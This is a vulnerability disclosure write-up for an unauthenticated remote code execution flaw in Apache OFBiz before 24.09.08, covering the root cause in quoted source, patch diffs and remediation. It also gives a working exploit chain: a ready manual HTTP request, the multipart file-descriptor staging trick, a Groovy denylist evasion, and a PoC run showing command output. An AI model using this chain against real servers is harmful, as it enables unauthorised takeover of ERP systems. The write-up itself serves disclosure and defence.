Skip to content

CVE-2026-83542: Apache OFBiz Unauthenticated RCE via Widget-Resource Injection

TL;DR

  • An unauthenticated attacker could run commands as the ofbiz operating-system account, even with CSRF protection enabled.
  • OFBiz copied an anonymous JSON body into request attributes, which outranked application configuration and replaced mainDecoratorLocation.
  • The widget engine loaded XML from that location and ran its ${groovy:...} expression during rendering.
  • A large multipart upload supplied the XML through the JVM's live descriptor table at /proc/thread-self/fd/N, without a separate file-write bug.
  • CVE-2026-83542 affects Apache OFBiz before 24.09.08 and is fixed in 24.09.08, which restricts widget locations to component:// and rejects the file: scheme outright.

Summary

  • CVE: CVE-2026-83542
  • Product: Apache OFBiz (Java ERP suite)
  • Vulnerability: Unauthenticated Remote Code Execution via Widget-Resource Injection
  • Affected Versions: < 24.09.08
  • Fixed In: 24.09.08
  • Severity: Critical (per Apache)
  • CVSS Severity: 9.8 (critical, CISA-ADP)
  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Required Privilege: None
  • Advisory: Apache OFBiz CVE Announcements
  • Reported: August 2, 2026
  • NVD Published: November 5, 2026

Introduction

OFBiz builds its pages out of widgets, and every application declares which file its main decorator comes from. The declaration lives in web.xml as a component:// location, and screens reference it as ${parameters.mainDecoratorLocation}. That is ordinary framework plumbing, and the value belongs to the application's own configuration.

OFBiz merges several scopes into parameters, with request attributes at the top of the order. Unlike the framework code that normally sets request attributes, ContextFilter reads the JSON body and copies every key straight into request attributes before routing.

Root Cause Analysis

The excerpts below are from the tested release24.09 snapshot at commit b5ca713e. The release24.09.07 tag has no location check. The later snapshot shown below does.

Anonymous JSON Becomes Request Attributes

ContextFilter calls WebAppUtil.setAttributesFromRequestBody() on every request it handles.

// framework/webapp/src/main/java/org/apache/ofbiz/webapp/WebAppUtil.java
public static void setAttributesFromRequestBody(ServletRequest request) {
    // read the body (for JSON requests) and set the parameters as attributes:
    Map<String, Object> requestBodyMap = null;
    try {
        requestBodyMap = RequestBodyMapHandlerFactory.extractMapFromRequestBody(request); // [1] JSON body parsed.
    } catch (IOException ioe) {
        Debug.logWarning(ioe, MODULE);
    }
    if (requestBodyMap != null) {
        Set<String> parameterNames = requestBodyMap.keySet();
        for (String parameterName: parameterNames) {
            request.setAttribute(parameterName, requestBodyMap.get(parameterName)); // [2] Request attributes set.
        }
    }
}

For application/json the factory at [1] picks JSONRequestBodyMapHandler, which parses the top-level object into a map. The loop at [2] installs all of it. There is no allowlist, no name reservation, and nothing that treats a key differently for being the name of an application setting.

Request Attributes Outrank the Application's Own Configuration

parameters inside a screen is UtilHttp.getCombinedMap(), and the comments spell out the precedence.

// framework/base/src/main/java/org/apache/ofbiz/base/util/UtilHttp.java
public static Map<String, Object> getCombinedMap(HttpServletRequest request, Set<? extends String> namesToSkip) {
    Map<String, Object> combinedMap = new HashMap<>();
    combinedMap.putAll(getParameterMap(request));                   // parameters override nothing
    combinedMap.putAll(getServletContextMap(request, namesToSkip)); // bottom level application attributes
    combinedMap.putAll(getSessionMap(request, namesToSkip));        // session overrides application
    // [3] Attributes take precedence.
    combinedMap.putAll(getAttributeMap(request));                   // attributes trump them all

    return combinedMap;
}

Servlet-context attributes are where the application's web.xml settings end up, and [3] puts request attributes on top of them. SFA declares its decorator location as trusted configuration.

<!-- applications/marketing/webapp/sfa/WEB-INF/web.xml -->
<context-param>
    <description>The location of the main-decorator screen to use for this webapp; referred to as a context variable in screen def XML files.</description>
    <param-name>mainDecoratorLocation</param-name>
    <param-value>component://marketing/widget/sfa/CommonScreens.xml</param-value>
</context-param>

A JSON body with a mainDecoratorLocation key replaces that value for the duration of the request.

Public Screens Read It

SFA imports the framework portal controller, which declares editPortalPageColumnWidth and its view without authentication.

<!-- framework/common/webcommon/WEB-INF/portal-controller.xml -->
<request-map uri="editPortalPageColumnWidth">
    <security https="true" auth="false"/>
    <response name="success" type="view" value="editPortalPageColumnWidth" save-last-view="true"/>
</request-map>

The screen behind it opens with the decorator, before it touches any record.

<!-- framework/common/widget/PortalPageScreens.xml -->
<screen name="EditPortalPageColumnWidth">
    <section>
        <actions>
            <entity-one entity-name="PortalPageColumn" value-field="portalPageColumn"/>
        </actions>
        <widgets>
            <decorator-screen name="main-decorator" location="${parameters.mainDecoratorLocation}">

In PortalPageScreens.xml, nonsense values for portalPageId and columnSeqId are fine, because the decorator loads before the missing record matters.

The common theme's login screen opens the same way at CommonScreens.xml:541-547, which is why an authenticated Order Manager route works as a carrier too. Asking for /ordermgr/control/main without credentials renders the login page, and the login page loads the decorator the attacker named.

The Location Filter Blocked One Spelling

Loading goes through ScreenFactory.renderReferencedScreen().

// framework/widget/src/main/java/org/apache/ofbiz/widget/model/ScreenFactory.java
ModelScreen modelScreen = null;
if (UtilValidate.isNotEmpty(location)) {
    if (UtilValidate.isBlockedPath(location)) { // [4] Only security check.
        Debug.logWarning("The location of screen [%s] is on a blocked Path. Abbort rendering. Raw location [%s]", MODULE, name, location);
        throw new IllegalArgumentException("Abort screenrendering due to screenlocation pointing to a blocked path");
    }
    try {
        modelScreen = ScreenFactory.getScreenFromLocation(location, name); // [5] Screen XML parsed.

Before [5] parses the resolved location, [4] checks it against a blocklist containing one string.

// framework/base/src/main/java/org/apache/ofbiz/base/util/UtilValidate.java
/** Paths from which loading files should be prevented */
public static final String[] BLOCKED_PATHS = {"proc/self/fd"}; // [6] Single blocked spelling.
// framework/base/src/main/java/org/apache/ofbiz/base/util/UtilValidate.java
public static boolean isBlockedPath(String rawPathString) {
    if (UtilValidate.isEmpty(rawPathString)) {
        return false;
    }
    Path normalized = Paths.get(rawPathString).normalize();
    String normalizedPath = normalized.toString();
    for (String blocked : BLOCKED_PATHS) {
        if (normalizedPath.contains(blocked)) { // [7] Substring match.
            return true;
        }
    }
    return false;
}

[6] and [7] block the literal substring proc/self/fd. Linux exposes the same descriptor table through /proc/thread-self/fd/N and /dev/fd/N, neither of which contains that substring.

The other filter is in getScreenFromLocation(), which rejects a resolved URL that contains a scheme without being a component location.

// framework/base/src/main/java/org/apache/ofbiz/base/util/UtilValidate.java
public static boolean isUrlInStringAndDoesNotStartByComponentProtocol(String s) {
    if (isEmpty(s) || s.startsWith("component://")) {
        return false;
    }
    return s.indexOf("://") != -1; // [8] Requires `://`.
}

The test at [8] rejects http:// and https:// because they contain ://. A single-slash file: URL remains valid Java syntax, so file:/proc/thread-self/fd/291 passes and reads a local descriptor.

Widget XML Runs Groovy

A screen action's value is a flexible string expression, and FlexibleStringExpander treats a groovy: prefix as a scriptlet.

// framework/base/src/main/java/org/apache/ofbiz/base/util/string/FlexibleStringExpander.java
protected ScriptElem(char[] chars, int offset, int length, int parseStart, int parseLength) {
    super(chars, offset, length);
    this.language = new String(this.getChars(), offset + 2, parseStart - offset - 3);
    this.parseStart = parseStart;
    this.parseLength = parseLength;
    this.script = new String(this.getChars(), this.parseStart, this.parseLength);
    this.parsedScript = ScriptUtil.parseScript(this.language, this.script); // [9] Compile Groovy.
}

@Override
protected Object get(Map<String, ? extends Object> context, TimeZone timeZone, Locale locale) {
    try {
        Map<String, Object> contextCopy = new HashMap<>(context);
        Object obj = ScriptUtil.evaluate(this.language, this.script, this.parsedScript, contextCopy); // [10] Execute Groovy.

The widget is compiled at [9] and evaluated at [10]. The deniedScriptletsTokens regular expression in security.properties matches source text such as java., System. and .exec. Building execute from 'exe' + 'cute' and calling it through invokeMethod avoids that pattern.

Impact

An unauthenticated payload runs with the OFBiz process's authority, including access to its database credentials and network position.

Exploitation

Preconditions

  • Apache OFBiz before 24.09.08, with any core manager application reachable. Order Manager stages the file and SFA renders it.
  • A Linux-style descriptor namespace in front of the OFBiz process, either /proc/thread-self/fd or /dev/fd.
  • Ingress that streams request bodies to OFBiz. An intermediary that buffers every body before forwarding defeats this particular staging method.
  • Both requests reaching the same JVM, which matters on a multi-node deployment without affinity.

With CSRF protection enabled, the exploit takes an anonymous session and its AJAX token from the ordinary 401 login response.

Staging a File Without Being Able to Write One

Multipart parsing provides the temporary file that the JVM opens as widget XML.

ControlFilter parses parameters before the controller decides anything about the route.

// framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/ControlFilter.java
if (!(isControlFilterTests() || isEntityImport || isProgramExport)) {
    // Prevents stream exploitation
    UrlServletHelper.setRequestAttributes(req, null, req.getServletContext());
    Map<String, Object> parameters = UtilHttp.getParameterMap(req); // [11] Multipart parser.

For a multipart body that means DiskFileItemFactory, and the shipped settings decide when it hits disk.

# framework/common/config/general.properties
# -- HTTP upload settings
# -- Size threshold (almost 1MB)
http.upload.max.sizethreshold=1024000
# -- directory used to temporarily store files that are larger than the configured size threshold
http.upload.tmprepository=runtime/tmp
# -- max size in bytes (-1 for unlimited)
http.upload.max.size=-1 # [12] Unlimited upload body.

[11] shows the multipart parse happening before routing, and [12] shows there is no maximum upload size. A file part over the shipped 1,024,000-byte threshold gets an open output stream under runtime/tmp. The exploit sends a complete widget document followed by XML whitespace, then leaves the body incomplete so the spool file stays open. Another request in the same JVM can read the finished document through the process descriptor table.

The client declares the full Content-Length, sends the final boundary after the widget loads and receives the upload route's normal 401.

Descriptor numbers vary, so the client scans a range while the upload is in flight. Each probe uses a fresh URL fragment to avoid a cached parse from an earlier attempt.

Manual Request

Send the following JSON body. Only mainDecoratorLocation affects the chain.

POST /sfa/control/editPortalPageColumnWidth HTTP/1.1
Host: target.example:8443
Content-Type: application/json
Cookie: JSESSIONID=<anonymous session>
X-Requested-With: XMLHttpRequest
X-CSRF-Token: <anonymous token>

{"portalPageId":"_INVALID_","columnSeqId":"_INVALID_","mainDecoratorLocation":"file:/proc/thread-self/fd/291#a1b2c3"}

PoC

The PoC holds the multipart upload open, scans the descriptor range and prints the command output. Execution has at-least-once semantics, so use an idempotent command. --carrier selects the render route.

python3 cve_2026_83542.py https://target:8443 -c id --carrier portal --fd-min 250 --fd-max 350
  ___  _____ ____ ___ _____
 / _ \|  ___| __ )_ _|__  /
| | | | |_  |  _ \| |  / /
| |_| |  _| | |_) | | / /_
 \___/|_|   |____/___/____|
  widget-resource injection RCE  ·  CVE-2026-83542
  discovered by CryptoCat · cryptocat.me

 [!] command execution is at-least-once; use an idempotent command
 [*] Carrier: portal (/sfa/control/editPortalPageColumnWidth)
 [*] Bootstrap response: HTTP 401
 [+] Anonymous AJAX token obtained from HTTP 401 response
 [*] Staging 1,200,000-byte widget through /ordermgr/control/main
 [*] Descriptor scan 350 down to 250
 [+] Staged widget loaded through /proc/thread-self/fd/291 with HTTP 200
 [+] Remote command exit status: 0
 [+] command output
  ------------------------------------------------------------
uid=1000(ofbiz) gid=1000(ofbiz) groups=1000(ofbiz)

That run used the SFA portal view, which answers HTTP 200. Order Manager's quickadd view behaves the same way, while the login-page carrier returns the output inside its HTTP 401 body. The portal route does not depend on a theme's login page or on an intermediary preserving a 401 body.

Patch Diffing

Two commits landed on release24.09 on 14 August, both before the CVE was assigned. Both are ancestors of the final 24.09.08 release tag.

The first, 79b8f25794, replaced the denylist with a WidgetSecureLocation.sanitize() call that only lets component:// locations through.

// framework/widget/src/main/java/org/apache/ofbiz/widget/model/ScreenFactory.java (renderReferencedScreen)
 ModelScreen modelScreen = null;
 if (UtilValidate.isNotEmpty(location)) {
-    if (UtilValidate.isBlockedPath(location)) {
-        Debug.logWarning("The location of screen [%s] is on a blocked Path. Abbort rendering. Raw location [%s]", MODULE, name, location);
-        throw new IllegalArgumentException("Abort screenrendering due to screenlocation pointing to a blocked path");
+    String sanitizedLocation = WidgetSecureLocation.sanitize(location);
+    if (sanitizedLocation == null) {
+        Debug.logWarning("The location of screen [%s] isn't an allowed Path. Abort rendering. Raw location [%s]", MODULE, name, location);
+        throw new IllegalArgumentException("Abort screen rendering due to unallowed screen location");
     }
     try {
-        modelScreen = ScreenFactory.getScreenFromLocation(location, name);
+        modelScreen = ScreenFactory.getScreenFromLocation(sanitizedLocation, name);

The second, a76610be8e, removed isBlockedPath entirely and replaced it with a check that denies by default.

// framework/base/src/main/java/org/apache/ofbiz/base/util/UtilValidate.java (isBlockedPath -> isAllowedPath)
-    public static boolean isBlockedPath(String rawPathString) {
+    public static boolean isAllowedPath(String rawPathString) {
         if (UtilValidate.isEmpty(rawPathString)) {
             return false;
         }
-        Path normalized = Paths.get(rawPathString).normalize();
-        String normalizedPath = normalized.toString();
-        for (String blocked : BLOCKED_PATHS) {
-            if (normalizedPath.contains(blocked)) {
-                return true;
-            }
+        String allowFilePaths = UtilProperties.getPropertyValue("security", "allowFilePaths", "");
+        if (UtilValidate.isEmpty(allowFilePaths)) {
+            return false;
         }
-        return false;
+        String normalizedPath = Paths.get(rawPathString).normalize().toString();
+        return Pattern.compile(allowFilePaths).matcher(normalizedPath).matches();
     }

With the shipped default, an unset security.allowFilePaths rejects every non-component location. The same commit also blocks the scheme trick regardless of how the URL is written.

// framework/widget/src/main/java/org/apache/ofbiz/widget/model/WidgetSecureLocation.java (isFileScheme)
+    private static boolean isFileScheme(String location) {
+        int colonIndex = location.indexOf(':');
+        if (colonIndex < 0) {
+            return false;
+        }
+        return "file".equalsIgnoreCase(location.substring(0, colonIndex));
+    }

Slash count and letter case no longer matter, so file:/, FILE:// and anything else in that family are rejected at the scheme. The gate also moved into the form, grid, menu and tree factories, which loaded locations the same way.

The same commit closes the other half too, back where the JSON body is copied into request attributes.

// framework/webapp/src/main/java/org/apache/ofbiz/webapp/WebAppUtil.java (setAttributesFromRequestBody)
 if (requestBodyMap != null) {
+    ServletContext servletContext = request.getServletContext();
     Set<String> parameterNames = requestBodyMap.keySet();
     for (String parameterName: parameterNames) {
+        // ... explanatory security comment omitted.
+        if (servletContext.getAttribute(parameterName) != null) {
+            Debug.logWarning("Ignoring request body attribute [%s]: it shadows an existing"
+                    + " ServletContext attribute of the same name", MODULE, parameterName);
+            continue;
+        }
         request.setAttribute(parameterName, requestBodyMap.get(parameterName));
     }
 }

A JSON key is now dropped whenever the web application already publishes a ServletContext attribute of that name, which is where web.xml settings live. mainDecoratorLocation is one of them, so the overwrite that started this chain no longer happens. Request-body names the application does not already own still become request attributes. This fixes shadowing rather than the copying itself.

Remediation

Upgrade to Apache OFBiz 24.09.08 or later.

Leave security.allowFilePaths unset unless OFBiz must load widget resources from outside a component. A permissive value widens the loader's filesystem trust. The file: scheme rejection and JSON shadowing fix still block this chain.

Disclosure Timeline

  • August 2, 2026: Reported to the Apache OFBiz security team, with a follow-up the same day covering the stronger anonymous portal carrier.
  • August 14, 2026: Apache committed the WidgetSecureLocation gate and, later the same day, the default-deny allowlist and the case-insensitive file: scheme rejection.
  • August 31, 2026: Apache assigned CVE-2026-83542 and shared the draft advisory.
  • September 1, 2026: Apache revised the advisory to critical.
  • November 3, 2026: Apache announced OFBiz 24.09.08, the first released version containing both commits.
  • November 4, 2026: Apache publicly announced CVE-2026-83542 in its consolidated OFBiz CVE notice.
  • November 5, 2026: CVE.org and NVD published CVE-2026-83542.

Conclusion

OFBiz let anonymous JSON-body attributes override application settings, so a request could replace the decorator location and reach code execution. The fix rejects that shadowing and replaces the descriptor blocklist with an allowlist that denies non-component locations by default.

References